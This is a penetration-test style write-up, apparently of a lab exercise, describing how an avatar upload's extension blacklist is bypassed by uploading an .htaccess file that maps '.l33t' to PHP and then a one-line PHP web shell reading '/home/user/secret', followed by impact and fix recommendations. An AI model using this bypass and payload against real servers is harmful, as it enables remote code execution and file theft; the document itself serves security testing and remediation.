Web shell upload via extension blacklist bypass(file upload vuln.)

Executive Summary

This report outlines a critical security vulnerability identified in the file upload functionality of the target web application. The application implements an extension blacklist to prevent malicious file uploads, but this control was bypassed using Apache configuration techniques. Successful exploitation allowed remote code execution, enabling unauthorized access to sensitive system files.

Introduction

The objective of this assessment was to evaluate the security of the application's image upload feature. Specifically, tested whether file type restrictions based on file extension could be bypassed to upload and execute a malicious payload (web shell).

Methodology

1. Logged in with valid credentials

2. Used Burp Suite to intercept the file upload request.

3. Attempted to upload a `.php` file, which was blocked by the server.

4. Uploaded a `.htaccess` file to configure the server to treat `.l33t` files as PHP.

5. Re-uploaded the payload using a `.l33t` extension.

6. Accessed and executed the payload to retrieve the contents of `/home/user/secret`.

Vulnerability Findings

- **Type**: Web Shell Upload (Extension Blacklist Bypass)

- **Location**: `POST /my-account/avatar`

- **Severity**: High

Description

The image upload functionality used a blacklist to prevent certain file extensions, such as `.php`, from being uploaded. However, this security measure was flawed because the server is configured to honor `.htaccess` directives. By uploading a `.htaccess` file that maps a custom extension (`.l33t`) to `application/x-httpd-php`, it became possible to upload a web shell with a `.l33t` extension that is still executed as PHP.

Proof of Concept (PoC)

1. Upload .htaccess file:

   - Filename: `.htaccess`

   - Content:

     bash

     CopyEdit

     `AddType application/x-httpd-php .l33t`

2. Upload PHP shell disguised as `.l33t`:**

   - Filename: `exploit.l33t`

   - Content:

     php

     CopyEdit

     `<?php echo file_get_contents('/home/user/secret'); ?>`

3. Access payload:**

   - Sent `GET /files/avatars/exploit.l33t`

   - Response revealed the contents of `/home/user/secret`.

Impact Assessment

This vulnerability allowed an attacker to:

- Execute arbitrary PHP code on the server

- Read sensitive files

- Potentially gain full control of the system or perform lateral movement within the network

  This poses a high risk to data confidentiality and server integrity.

Recommendations

1. Use extension whitelisting instead of blacklisting.

2. Reject any attempt to upload server-side executable files, regardless of extension or MIME type.

3. Disable support for .htaccess file overrides, especially in upload directories.

4. Ensure that uploaded files are stored outside of the web root, or served by a file handler that does not execute them.

Conclusion

This vulnerability highlighted a fundamental flaw in relying on blacklist-based file validation and the dangers of allowing .htaccess overrides in upload directories. Immediate corrective action should be taken to prevent code execution via uploaded files and to enforce secure upload handling practices.